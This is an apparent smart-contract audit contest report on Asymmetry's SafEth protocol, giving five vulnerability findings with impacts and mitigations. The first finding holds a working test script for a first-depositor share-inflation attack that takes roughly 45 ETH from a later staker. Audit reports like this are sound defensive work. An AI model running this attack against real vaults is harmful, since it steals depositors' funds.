Asymmetry contest - shaka's results

Lines of code

https://github.dev/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L13-L20

Vulnerability details

The first staker can take advantage of rounding errors in the calculation of safEth to be minted and inflate the share ratio. This is a known attack for ERC-4626 vaults and can be used with SafEth.sol.

The attack consists of the first depositor minting just one share and then donating an amount of the underlying asset to the vault so that the following depositors receive fewer shares than expected due to rounding errors.

In the case of the SafEth.sol it is not possible for the staker to mint just one stEth, so the attacker will also require to unstake all but 1 stEth. Also, as the assets are not held by SafEth.sol the donation of the underlying asset is made to its respective derivative contract.

Impact

The first staker can get a share of the ETH from other depositors.

Proof of Concept

This test placed in SafEth-Integration.test.ts after the first two deployment tests, shows a practical example of how the attack can be performed.

  it("First depositor front runs", async function () {
    const frxETHMinter = await ethers.getContractAt("IFrxETHMinter", "0xbAFA44EFE7901E04E39Dad13167D089C559c1138");
    const sfrxEth = await ethers.getContractAt("IERC20", "0xac3E018457B222d93114458476f3E3416Abbe38F");
    const strategy = await getLatestContract(strategyContractAddress, "SafEth");
    const sfrxEthDerivative = await strategy.derivatives(1);
    const [alice, bob] = await getUserAccounts();
    const strategyAliceSigner = strategy.connect(alice);
    const strategyBobSigner = strategy.connect(bob);

    const aliceStartBalance = await alice.getBalance();
    const bobStartBalance = await bob.getBalance();
    
    // Alice stakes minimum amount
    await strategyAliceSigner.stake({value: ethers.utils.parseEther(stakeMinimum.toString())});
    let aliceSafEthBalance = await strategy.balanceOf(alice.address);
    
    // Alice unstakes all but 1 safEth
    await strategyAliceSigner.unstake(aliceSafEthBalance.sub(1));
    aliceSafEthBalance = await strategy.balanceOf(alice.address);
    expect(aliceSafEthBalance.toString()).eq("1");

    // Alice transfers 100 sfrxEth to derivative contract
    await frxETHMinter.connect(alice).submitAndDeposit(alice.address, {value: ethers.utils.parseEther("105")});
    await sfrxEth.connect(alice).transfer(sfrxEthDerivative, ethers.utils.parseEther("100"));

    // Bob stakes 200 ETH and mints only 1 safEth
    await strategyBobSigner.stake({value: ethers.utils.parseEther("200")});
    const bobSafEthBalanceWei = await strategy.balanceOf(bob.address);
    expect(bobSafEthBalanceWei.toString()).eq("1");

    // Alice unstakes 1 safEth
    await strategyAliceSigner.unstake(1);

    // Bob unstakes 1 safEth
    await strategyBobSigner.unstake(1);

    const aliceEndBalance = await alice.getBalance();
    const bobEndBalance = await bob.getBalance();

    // Alice managed to get from Bob at least 45 ETH
    expect(aliceEndBalance.sub(aliceStartBalance)).gt(ethers.utils.parseEther("45"));
    expect(bobStartBalance.sub(bobEndBalance)).gt(ethers.utils.parseEther("45"));
  });

Tools Used

Manual inspection.

Recommended Mitigation Steps

Lock a small portion of the first staked amount.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L147-L149

Vulnerability details

In SafEth.sol:stake(), to calculate the amount of safEth to be minted first it is calculated the current value of all derivatives. This is done by calling the ethPerDerivative function for each derivative. As we can see in line 73, this function is taking as a parameter the total balance of the derivative.

70      // Getting underlying value in terms of ETH for each derivative
71      for (uint i = 0; i < derivativeCount; i++)
72          underlyingValue +=
73              (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
74                  derivatives[i].balance()) /
75              10 ** 18;

The implementation of ethPerDerivative in Reth.sol checks if it is possible to deposit _amount in rocketDepositPool. If so, it takes an exchange rate ETH/rETH from the rETH contact, otherwise, it takes the exchange rate from Uniswap V3 pool.

211    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
212        if (poolCanDeposit(_amount))
213            return
214                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
215        else return (poolPrice() * 10 ** 18) / (10 ** 18);
216    }

This is wrong, as the amount of rETH held by the contract will always be exchanged for ETH by burning the tokens, so the current value in ETH of all the rETH reserves should always be calculated by calling RocketTokenRETHInterface(rethAddress()).getEthValue().

Impact

Users might be able to mint more tokens than expected, as the real value of the deposited assets in the system could be underestimated.

Proof of Concept

Let's imagine the following scenario:

• There is a significant mismatch between the real conversion rate for rETH to ETH and the price of the pair ETH/rETH in Uniswap V3.
• A user calls the stake function.
• In the calculation of the total rETH deposited value, poolCanDeposit(balance()) returns false, and the total value of rETH is calculated at the price returned by Uniswap V3 pool.
• When the total value staked by the user is calculated, for rETH poolCanDeposit(userDepositedReth) returns true, so he gets a better rETH to ETH exchange rate.
• As the total underlying value in the system is underestimated, the user is able to mint more safEth than expected.

Tools Used

Manual inspection.

Recommended Mitigation Steps

In the calculation of the total value of rETH currently in the system, take always the exchange rate directly from the rETH contract.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L60

Vulnerability details

The withdraw function in WstEth.sol assumes that the exchange rate of stETH/ETH is 1:1.

function withdraw(uint256 _amount) external onlyOwner {
    IWStETH(WST_ETH).unwrap(_amount);
    uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this));
    IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal);
    uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18;
    IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);
    // solhint-disable-next-line
    (bool sent, ) = address(msg.sender).call{value: address(this).balance}(
        ""
    );
    require(sent, "Failed to send Ether");
}

Although the price of stETH is supposed to be 1:1 with ETH, in practice there can be significant differences in value when the assets are traded in an open market like Curve, having traded at a price as low as 0.9365 in the past. In contrast, this fact is taken into account in the implementation for frxETH, where the current price for the pair ETH/frxETH is fetched to calculate the minOut value.

Impact

Users will be unable to unstake if there is a significant deviation from the 1:1 exchange for the ETH/stETH pair. The withdraw function will fail, as the minOut amount will not be reached.

In such a situation, the admins will be forced to increase the maxSlippage so that it accounts for the exchange rate plus the slippage. However, once the price moves close to a 1:1 exchange rate, it will leave the protocol vulnerable to suffer a very big slippage, forcing the admins to constantly monitor the exchange rate to adjust the maxSlippage value.

Here is a practical example:

• ETH/stEth is trading at 0.93, so withdrawals are failing.
• Admin adjusts maxSlippage to 8% to account for the 7% difference in price plus a 1% of slippage.
• Price changes to 0.99.
• The protocol still has a maxSlippage of 8%, so it can suffer from sandwich attacks.

As we can see, in moments of high volatility, the admin of the protocol would be forced to continuously adjust the maxSlippage value to accommodate the changes in the price.

Tools Used

Manual inspection.

Recommended Mitigation Steps

Use an oracle to fetch the exchange rate of the pair ETH/stETH.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L120-L150

Vulnerability details

The function poolCanDeposit in Reth.sol checks if it is possible to deposit _amount in the Rocket Pool deposit pool.

146  return
147      rocketDepositPool.getBalance() + _amount <=
148      rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
149      _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();

This function does not check that the deposits in the pool are enabled. As we can see in line 77, the deposit function of the RocketDepositPool contract reverts if deposits are disabled.

// https://github.com/rocket-pool/rocketpool/blob/master/contracts/contract/deposit/RocketDepositPool.sol
74    function deposit() override external payable onlyThisLatestContract {
75        // Check deposit settings
76        RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(getContractAddress("rocketDAOProtocolSettingsDeposit"));
77        require(rocketDAOProtocolSettingsDeposit.getDepositEnabled(), "Deposits into Rocket Pool are currently disabled");
78        require(msg.value >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(), "The deposited amount is less than the minimum deposit size");

Impact

If deposits in RocketDepositPool are disabled, calls to SafEth.sol::stake() will fail.

Tools Used

Manual inspection.

Recommended Mitigation Steps

  return
      rocketDepositPool.getBalance() + _amount <=
      rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
+     rocketDAOProtocolSettingsDeposit.getDepositEnabled() &&
      _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L107-L114

Vulnerability details

The rETH token implements in the _beforeTokenTransfer a timelock mechanism, that forces a determined amount of time to have passed since the last deposit.

// https://github.com/rocket-pool/rocketpool/blob/967e4d3c32721a84694921751920af313d1467af/contracts/contract/token/RocketTokenRETH.sol#L156-L172

// This is called by the base ERC20 contract before all transfer, mint, and burns
function _beforeTokenTransfer(address from, address, uint256) internal override {
	// Don't run check if this is a mint transaction
	if (from != address(0)) {
		// Check which block the user's last deposit was
		bytes32 key = keccak256(abi.encodePacked("user.deposit.block", from));
		uint256 lastDepositBlock = getUint(key);
		if (lastDepositBlock > 0) {
			// Ensure enough blocks have passed
			uint256 depositDelay = getUint(keccak256(abi.encodePacked(keccak256("dao.protocol.setting.network"), "network.reth.deposit.delay")));
			uint256 blocksPassed = block.number.sub(lastDepositBlock);
			require(blocksPassed > depositDelay, "Not enough time has passed since deposit");
			// Clear the state as it's no longer necessary to check this until another deposit is made
			deleteUint(key);
		}
	}
}

The original value for the delay was 24 hours, but at some point, it was changed to 0. The only information I have found about a change in the parameter is in this thread.

Impact

If, for some reason, the delay value is changed again, all withdrawals that do not follow the due delay time since the last deposit will fail. As users can be constantly depositing more ETH, this will force the admins to disable the Rocket Pool derivative indefinitely so that users can unstake their ETH.

Tools Used

Manual inspection.

Recommended Mitigation Steps

Check that the timelock period will not make revert the withdrawal and, if so, use a DEX to convert the ETH to rETH.